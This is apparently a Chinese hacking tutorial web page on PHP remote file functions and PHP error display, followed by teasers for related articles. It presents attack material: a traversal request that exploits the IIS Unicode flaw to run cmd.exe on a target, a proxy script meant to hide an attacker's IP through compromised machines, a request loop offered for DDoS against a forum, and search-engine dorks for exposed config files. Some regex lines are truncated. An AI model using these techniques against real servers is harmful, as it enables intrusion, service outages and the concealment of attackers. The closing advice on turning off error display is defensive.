如何用php实现远程文件?php打开错误回显的作用
1.远程文件
PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:
代码
$fp=@Fopen($url,"r") or die ("cannot open $url");
while($line=@fgets($fp,1024)) {
$contents.=$line;
}
echo $contents; //显示文件内容
fclose($fp); //关闭文件
?>
以上是一段利用Fopen函数打开文件的代码,由于Fopen函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为Proxy.php,然后后提交:
代码
/proxy.php?url=http://www.hacker.com.cn/bbs
这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,事实上PHP的大多数文件处理函数对远程文件都是透明的,比如请求:
代码
/proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样实际上是利用了Target主机上的Unicode漏洞,执行了DIR命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如51的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过PHPinfo()查看服务器是否支持这种功能。当然,在PHPinfo()被禁用的情况下,也可以使用Get_cfg_var():
代码
echo "是否允许使用远程文件(allow_url_Fopen)";
?php
if (get_cfg_var("allow_url_Fopen")=="1")
{
echo("是");
}
else echo("否");
?>
当Allow_url_Fopen一项参数为ON时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过PHP Flame的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了Web间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的Web目录下。
而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:
代码
$fp = Fopen($_GET['filename'], 'rb'); //打开文件
$data = $tmp = '';
while ( true ) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
break; //跳出while循环
}
$data .= $tmp;
}
fclose($fp); //关闭文件
$file=preg_replace("/^.+//","",$filename);//转换文件名
//write
$fp = Fopen("$file", 'wb'); //生成文件
fwrite($fp, $data); //写入数据
fclose($fp);
?>
在调用Fopen和Fwrite函数时加入"b"标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:
/down.php?filename=http://www.chinaz.com/winrar.zip
这时便会在Down.php的所处目录下生成相应的Winrar.zip文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写SQL Injection攻击的自动脚本,甚至是HTTP的代理服务:
代码
$url = getenv("QUERY_STRING");
if(!ereg("^http",$url)) //检查输入的URL格式
{
echo "例子:
http://www.163.com/
";
echo "http://www.xxxx.com/list.php?id=600
";
echo "当URL为目录时需要在目录后加入"/"";
exit;
}
if($url)
$url=str_replace("\","/",$url);
$f=@Fopen($url,"r"); //打开文件
$a="";
if($f)
{
while(!feof($f))
$a.=@fread($f,8000); //读取文件
fclose($f);
}
$rooturl = preg_replace("/(.+/)(.*)/i","\1",$url); //转换根目录
$a = preg_replace("/(src[[:space:]]*=['"])([^h].*?)/is","\1$rooturl\2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'"].*?)/is","\1$rooturl\2",$a); //转换图片地址
$a = preg_replace("/(action[[:space:]]*=['"])([^h].*?)/is","\1$php_self?$rooturl\2",$a);
$a = preg_replace("/(action[[:space:]]*=)([^h'"].*?)/is","\1$php_self?$rooturl\2",$a); //转换POST地址
$a = preg_replace("/(
$a = preg_replace("/(
$a = preg_replace("/(link.+?href[[:space:]]*=[^'"])(.*?)/is","\1$rooturl\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['"])(.*?)/is","\1$rooturl\2",$a); //转换样式表地址
echo $a;
exit;
?>
在正则表达式的帮助下,以上代码能够自行地将返回页面中包含的链接和图片进行转换,并把页面内的链接自动提交到当前PHP脚本的$url中。例如提交:
/proxy.php?http://www.xfocus.net/
脚本将会返回http://www.xfocus.net/的内容,如图1所示。
图1
当然,这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的Web后门,或者将肉鸡做成一个简单的HTTP代理,从而更好的隐藏自己的IP。如果使用PHP编写CGI扫描工具,你需要延长PHP的有效运行时间。以下是两种有效的方法,当然你也可以将PHP代码编译成GUI界面,从而解决这个问题。设置PHP的有效运行时间为三分钟:
代码
我们再看看这种功能在DDOS攻击中的应用:
代码
set_time_limit(60*3);
$url="http://www.xxx.com/bbs/userlist.php?userid=";
for($i=1131;$i<=1180;$i++)
{
$urls=$url.$i; //将$url与$i链接在一起
$f=@Fopen($urls,"r"); //请求$urls
$a=@fread($f,10); //取出部分内容
fclose($f); //关闭$urls
}
?>
以上用For循环不断地请求Userlist.php?userid=$i的内容($i的值每次都是不同的),但是打开后仅仅取出几个字节便关闭这个脚本了。PHP运行在虚拟主机上,10秒钟便可以打开几十个URL,当同时运行多个进程时,便有可能实现DDOS攻击,让对方的论坛迅速崩溃。
限于版面,远程文件的内容就先说到这里了,如果你还有不明白的地方,请参考以下的这篇文章:《在PHP中使用远程文件》
2.错误回显
PHP在默认的情况下打开错误回显,这样可以便于程序员在调试脚本时发现代码的错误,但是这也往往使Web暴露了PHP的代码和服务器的一些数据。PHP对代码的规范性要求比较严格,以下是一种比较常见的错误回显:
warning:file("data/1120'.htm)-no such file or
directory in /usr/home/xxxxx.com/show.php on line 300
这种错误回显,至少告诉了我们三个信息:服务器的操作系统是LINUX;服务器使用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。
这种错误回显,已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看,我们发现一般的PHP错误回都包含了"warning"字符,但是这有什么用呢?我们得先认识一下PHP的库文件。
PHP的Include()和Require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。
最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者将容易得到这些信息。
按照以往的程序员的习惯,往往会把一些重要的文件设定"config.inc","coon.inc"等形式,如果我们在搜索引撃中搜索"warning+config.inc",那么你会发现许多网站都暴露了".inc"文件的代码,甚至包括许多商业和政府网站,如图2所示。
图2
要关闭PHP的错误回显通常有两个方法,第一个是直接修改Php.ini中的设置,这我们以前已经介绍过了;第二种方法是在PHP脚本中加入抑制错误回显的代码,你可以在调用的函数前函数加入"@"字符,或者在PHP的代码顶端加入"error_reporting(0);"的代码,要了解更多的内容请参考PHP手册中的"error_reporting"一节。
防止黑客建立永久帐号的步骤 拦截重建账号的方法
windows下建立永久帐号方法,搞服务器安全的朋友也需要学习下,防止黑客建立永久帐号。操作步骤:1、在自己电脑里面建立一个 txt文本文件 2、在里面输入内容:@echo offnet user xixi 123456 add 注释:前
详情2018-03-02 19:25:16责编:llp 来源:驱动管家session在服务端有存活期 session欺骗成功的条件
虽然sessionID的唯一性大大地提高了session认证的总体安全 但是这世界上还有一样东西叫盗窃 我们来说说session的运行机制 例如你访问www link0day cn 这个站 那么服务端就会分给你一个sessionID值(前提是
详情2018-02-13 08:53:43责编:llp 来源:驱动管家黑客入门教程 黑客入门的知识大讲解
第一节、黑客的种类和行为以我的理解,“黑客”大体上应该分为“正”、“邪”两类,正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善,而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵
详情2018-01-16 08:54:11责编:llp 来源:驱动管家如何防止网站成为黑网站呢?要做这些事
1 设置严密权限上传目录只给写入、读取权限绝对不能给执行权限每个网站WebSite使用独立用户名和密码权限设置为Guest命令: net localgroup users myweb del设置MSSQL、Apache、MySQL以Guest权限运行:在运
详情2018-01-19 11:29:50责编:llp 来源:驱动管家dos命令可以破解nt账号密码?dos命令怎么破解nt账号密码?
如知道一个NT帐户与密码,就可以用net use 主机 ipc$Content$nbsp; "密码 " user: "用户 "与远程主机建立连接,这是每一个黑客或是梦想成为又或是正在努力成为黑客的朋友都知道的方法,甚至连我这个连菜鸟都算
详情2018-02-07 09:32:41责编:llp 来源:驱动管家phpspy2011怎么反弹back connect?反弹代码的使用方法是什么?
phpspy2011 中的 Back Connect 怎么弄都不能反弹回来,在网上找了段代码,测试成功了,但自己看了下,这段代码貌似也是从 phpspy 中分离出来的使用方法:需要将以下代码保存为一个单独的php文件。上传到服
详情2018-02-28 14:55:40责编:llp 来源:驱动管家serv u提权溢出是什么原因?怎么解决?
仔细看下面的图片,发现什么了吗。SU的提权可以溢出(如何防止溢出驱动管家技术团队帮您解决服务器安全问题),但是出错了。不是限制了cmd命令,注意Recv: 530 Not logged in, home directory does not ex
详情2018-01-26 09:32:07责编:llp 来源:驱动管家网络安全涉及哪些方面?常见的网络攻击方式
windows网络安全1 网络安全的概念网络安全的定义:网络系统的硬件、软件和数据受到保护,不因偶然和恶意的原因而遭到破坏、更改和泄露,系统可以连续正常运行,网络服务不会终止1>网络安全主要涉及3个方面:硬件
详情2018-02-17 18:16:31责编:llp 来源:驱动管家防泄密软件:大势至usb端口控制软件安装有哪些注意事项?
在公司局域网网络管理中,我们常常需要禁止电脑随意安装软件、禁止电脑随意安装程序,防止拖慢电脑速度或让电脑遭遇病毒侵袭,怎么实现呢?大势至USB端口控制软件(点击下载)可以实现禁止电脑安装软件、禁止电脑
详情2018-01-28 09:56:56责编:llp 来源:驱动管家结合十个按钮,介绍hektek的用法
HAKTEK是一个比较常用的黑客程序,它具有五项功能:PING某个指定的IP地址或WWW域名;对指定的IP地址或WWW域名进行端口检测;对某EMAIL地址进行“炸弹”袭击或屏蔽“炸弹”袭击;检测指定IP地址段内各IP地址是否活
详情2018-02-12 15:14:47责编:llp 来源:驱动管家
- 在Ubuntu里怎么使用Windows的无线网卡驱动
- Ubuntu双显卡安装NVIDIA驱动的方法步骤
- 怎么用qq影音将电脑的视频格式转换成手机支持的格式
- word文档软件上自带的封面模板怎么设置使用
- 压缩软件快压有哪些功能特点?快压软件好不好用
- 选购机械键盘有什么技巧?教你怎么选购机械键盘
- vivo高管宣布 vivo APEX全面屏概念机将在今年年中正式量产
- 智能手机的相机排名:苹果iPhoneX夺冠
- CentOS7系统怎么进行IP和主机名的网络配置
- windows磁盘怎么加密?利用组策略加密windows磁盘的方法
- 红辣椒手机怎么样?红辣椒手机移动版评测
- soap r11有哪些优点和缺点?帮你客观评价是否值得买soap r11?
- 谈一下电脑耳机 电脑音箱音质效果和硬件软件关系
- 电脑开始菜单在左边或右边怎么办?开始菜单怎么拖回原来的位置
- SiteServer CMS系统产生漏洞的原因 这漏洞有什么利用方式?
- Livebox TP存在输入验证漏洞的测试方法
- ubuntu系统下如何安装realsense驱动?
- 百度云刷机工具刷机失败怎么解决
- 怎么设置百度拼音输入法为默认输入语言
- Axure怎么制作页面滚动时菜单固定在顶部的页面?Axure使用小技巧